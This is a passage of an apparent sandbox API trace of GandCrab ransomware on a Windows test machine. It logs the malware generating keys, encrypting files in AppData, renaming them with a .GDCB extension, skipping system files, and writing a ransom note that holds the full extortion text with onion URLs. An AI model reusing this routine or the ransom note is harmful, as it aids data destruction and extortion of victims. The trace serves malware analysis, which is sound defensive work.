dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.044] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.044] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.044] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5901b0) returned 1 [0055.046] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5b8af0) returned 1 [0055.046] CryptGetKeyParam (in: hKey=0x5b8af0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0055.046] CryptEncrypt (in: hKey=0x5b8af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0055.047] GetLastError () returned 0x0 [0055.047] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.047] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58ff08) returned 1 [0055.049] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5b7ef0) returned 1 [0055.049] CryptGetKeyParam (in: hKey=0x5b7ef0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0055.049] CryptEncrypt (in: hKey=0x5b7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0055.049] GetLastError () returned 0x0 [0055.049] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.049] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mldkkprkrb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0055.049] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.050] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.050] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x5ab1, lpOverlapped=0x0) returned 1 [0055.055] VirtualAlloc (lpAddress=0x0, dwSize=0x5ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.055] VirtualAlloc (lpAddress=0x0, dwSize=0x5ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.056] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.056] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-23217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.056] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x5ac0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x5ac0, lpOverlapped=0x0) returned 1 [0055.056] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.056] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.059] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0055.059] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0055.059] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0055.059] CloseHandle (hObject=0x4f4) returned 1 [0055.060] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.060] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.061] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.061] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mldkkprkrb.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mldkkprkrb.mkv.gdcb")) returned 1 [0055.061] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.062] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.062] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0055.062] lstrcmpW (lpString1="MMSANU.wav", lpString2=".") returned 1 [0055.062] lstrcmpW (lpString1="MMSANU.wav", lpString2="..") returned 1 [0055.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="MMSANU.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" [0055.062] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.062] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned 48 [0055.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned 48 [0055.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned 48 [0055.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned 48 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="desktop.ini") returned 1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="autorun.inf") returned 1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="ntuser.dat") returned -1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="iconcache.db") returned 1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="bootsect.bak") returned 1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="boot.ini") returned 1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="ntuser.dat.log") returned -1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="thumbs.db") returned -1 [0055.062] lstrcmpiW (lpString1="MMSANU.wav", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.062] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mmsanu.wav")) returned 0x20 [0055.062] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav", dwFileAttributes=0x20) returned 1 [0055.063] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.063] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" [0055.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav.GDCB" [0055.063] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0055.063] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.063] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.064] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.064] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0055.064] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.064] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.064] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0055.064] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.064] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.065] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.065] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0055.065] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.065] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.065] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.065] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.065] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0055.068] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5b7f30) returned 1 [0055.068] CryptGetKeyParam (in: hKey=0x5b7f30, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0055.068] CryptEncrypt (in: hKey=0x5b7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0055.068] GetLastError () returned 0x0 [0055.068] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.068] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0055.070] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5b7df0) returned 1 [0055.070] CryptGetKeyParam (in: hKey=0x5b7df0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0055.070] CryptEncrypt (in: hKey=0x5b7df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0055.070] GetLastError () returned 0x0 [0055.070] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.070] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mmsanu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0055.071] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.071] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.071] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x11d2f, lpOverlapped=0x0) returned 1 [0055.076] VirtualAlloc (lpAddress=0x0, dwSize=0x11d30, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.076] VirtualAlloc (lpAddress=0x0, dwSize=0x11d30, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0055.077] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.078] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-73007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.078] WriteFile (in: hFile=0x4f4, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x11d30, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x11d30, lpOverlapped=0x0) returned 1 [0055.078] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.078] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.081] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0055.081] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0055.081] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0055.081] CloseHandle (hObject=0x4f4) returned 1 [0055.082] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.082] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.082] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.082] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mmsanu.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mmsanu.wav.gdcb")) returned 1 [0055.083] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.083] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.083] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0055.083] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0055.083] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0055.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla" [0055.083] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\" [0055.083] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.083] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.084] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.084] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.084] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\") returned 46 [0055.084] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*" [0055.084] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x5b7eb0 [0055.084] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.084] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0055.084] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.084] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.084] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0055.084] lstrcmpW (lpString1="Extensions", lpString2=".") returned 1 [0055.084] lstrcmpW (lpString1="Extensions", lpString2="..") returned 1 [0055.084] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="Extensions" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions" [0055.084] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions") returned 56 [0055.084] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0055.084] lstrcmpW (lpString1="Firefox", lpString2=".") returned 1 [0055.084] lstrcmpW (lpString1="Firefox", lpString2="..") returned 1 [0055.084] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="Firefox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox" [0055.084] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox") returned 53 [0055.084] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0055.084] FindClose (in: hFindFile=0x5b7eb0 | out: hFindFile=0x5b7eb0) returned 1 [0055.084] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.085] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\\\GDCB-DECRYPT.txt") returned 63 [0055.085] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0055.085] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.085] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285effc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285effc*=0xad6, lpOverlapped=0x0) returned 1 [0055.086] CloseHandle (hObject=0x4f4) returned 1 [0055.086] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\") returned 46 [0055.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*" [0055.086] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x5b7fb0 [0055.086] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.086] FindNextFileW (in: hFindFile=0x5b7fb0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0055.086] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.086] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.086] FindNextFileW (in: hFindFile=0x5b7fb0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0055.086] lstrcmpW (lpString1="Extensions", lpString2=".") returned 1 [0055.086] lstrcmpW (lpString1="Extensions", lpString2="..") returned 1 [0055.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="Extensions" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions" [0055.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\" [0055.087] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.087] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.087] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\") returned 57 [0055.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*" [0055.087] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8270 [0055.087] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.087] FindNextFileW (in: hFindFile=0x5b8270, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0055.087] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.087] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.087] FindNextFileW (in: hFindFile=0x5b8270, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0055.087] FindClose (in: hFindFile=0x5b8270 | out: hFindFile=0x5b8270) returned 1 [0055.087] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.087] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\\\GDCB-DECRYPT.txt") returned 74 [0055.087] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\extensions\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 